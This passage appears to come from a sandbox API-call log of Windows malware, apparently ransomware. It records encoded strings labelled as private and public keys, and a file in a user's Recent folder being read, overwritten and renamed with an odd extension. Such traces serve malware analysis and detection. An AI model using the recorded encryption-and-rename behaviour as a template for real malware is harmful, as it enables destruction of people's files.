O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.863] GetCurrentThreadId () returned 0xa30 [0082.863] GetCurrentThreadId () returned 0xa30 [0082.863] GetCurrentThreadId () returned 0xa30 [0082.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.864] GetCurrentThreadId () returned 0xa30 [0082.864] GetCurrentThreadId () returned 0xa30 [0082.864] GetCurrentThreadId () returned 0xa30 [0082.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pyten.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.864] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.864] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.864] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x226 [0082.864] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.864] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x226, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x226, lpOverlapped=0x0) returned 1 [0082.866] CloseHandle (hObject=0x124) returned 1 [0082.866] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pyten.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.867] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x226, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x226, lpOverlapped=0x0) returned 1 [0082.868] CloseHandle (hObject=0x124) returned 1 [0082.870] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pyten.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PyTen.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pyten.lnk.zv7un")) returned 1 [0082.871] GetCurrentThreadId () returned 0xa30 [0082.871] GetCurrentThreadId () returned 0xa30 [0082.871] GetCurrentThreadId () returned 0xa30 [0082.871] GetCurrentThreadId () returned 0xa30 [0082.871] GetCurrentThreadId () returned 0xa30 [0082.871] GetCurrentThreadId () returned 0xa30 [0082.871] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d332c00, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d332c00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d332c00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x441, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="q9PYuuDYFbL.flv.lnk", cAlternateFileName="Q9PYUU~1.LNK")) returned 1 [0082.871] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.871] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q9pyuudyfbl.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d332c00, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d332c00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d332c00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x441)) returned 1 [0082.871] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\q9pyuudyfbl.flv.lnk")) returned 0x20 [0082.871] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\q9PYuuDYFbL.flv.lnk", dwFileAttributes=0x80) returned 1 [0082.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIw